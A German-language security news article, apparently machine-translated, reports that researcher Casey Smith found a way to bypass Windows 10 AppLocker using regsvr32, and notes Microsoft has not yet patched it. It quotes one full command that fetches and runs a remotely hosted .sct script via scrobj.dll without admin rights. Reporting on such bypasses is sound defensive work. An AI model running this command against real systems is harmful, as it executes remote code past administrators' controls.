Ein Forscher aus Colorado, der unter dem Namen Casey Smith bekannt ist, hat herausgefunden, dass mit Regsvr32 AppLocker unter Windows 10 umgangen werden kann. Dies ist ein großes Problem für Computerbenutzer, insbesondere in der Geschäftsumgebung.

AppLocker wurde erstmals in Windows 7 und Windows Server 2008 R2 eingeführt. Mithilfe dieser Funktion können Administratoren festlegen, welche Gruppe oder Benutzer auf der Grundlage der eindeutigen Identität von Dateien einige oder alle Anwendungen nutzen können. Wenn Sie dazu neigen, AppLocker zu verwenden, sollte allgemein bekannt sein, dass damit bestimmte Regeln erstellt werden können, mit denen Anwendungen sie in ihren Tracks ausführen oder anhalten können.

Für diejenigen, die dies nicht wissen, kann Regvr32 zum Registrieren und Aufheben der Registrierung von DLLs verwendet werden. Dies ist kein Ein-Klick-Tool, da es sich um ein Befehlszeilendienstprogramm handelt. Daher sollten nur erfahrene Computerbenutzer versuchen, das Angebot zu nutzen.

Wir wissen, dass durch diese Technik die Registrierung des Computersystems nicht geändert wird, sodass Administratoren nur schwer feststellen können, ob Änderungen vorgenommen wurden.

regsvr32 / s / n / u /i:http://server/file.sct scrobj.dll

„Das Erstaunliche dabei ist, dass regsvr32 bereits Proxy-fähig ist, TLS verwendet, Weiterleitungen folgt usw.… Und… Sie haben eine signierte, standardmäßige MS-Binärdatei erraten. Alles, was Sie tun müssen, ist, die Datei "your.sct" an einem Ort zu hosten, den Sie steuern ", schrieb Smith.

Für die oben beschriebene Technik sind keine Administratorrechte erforderlich, und die Registrierung wird nicht geändert. Darüber hinaus können die Skripte sowohl über HTTP als auch über HTTPS aufgerufen werden. Derzeit hat Microsoft keinen Patch für dieses kleine Problem veröffentlicht. Daher besteht die einzige Möglichkeit, Regsvr32 über die Windows-Firewall zu blockieren.

Interessanterweise muss der Softwareriese noch auf dieses Sicherheitsproblem seines Betriebssystems reagieren. Jetzt, da es öffentlich ist, erwarten wir etwas von dem Unternehmen zusammen mit Gesprächen über einen zukünftigen Patch.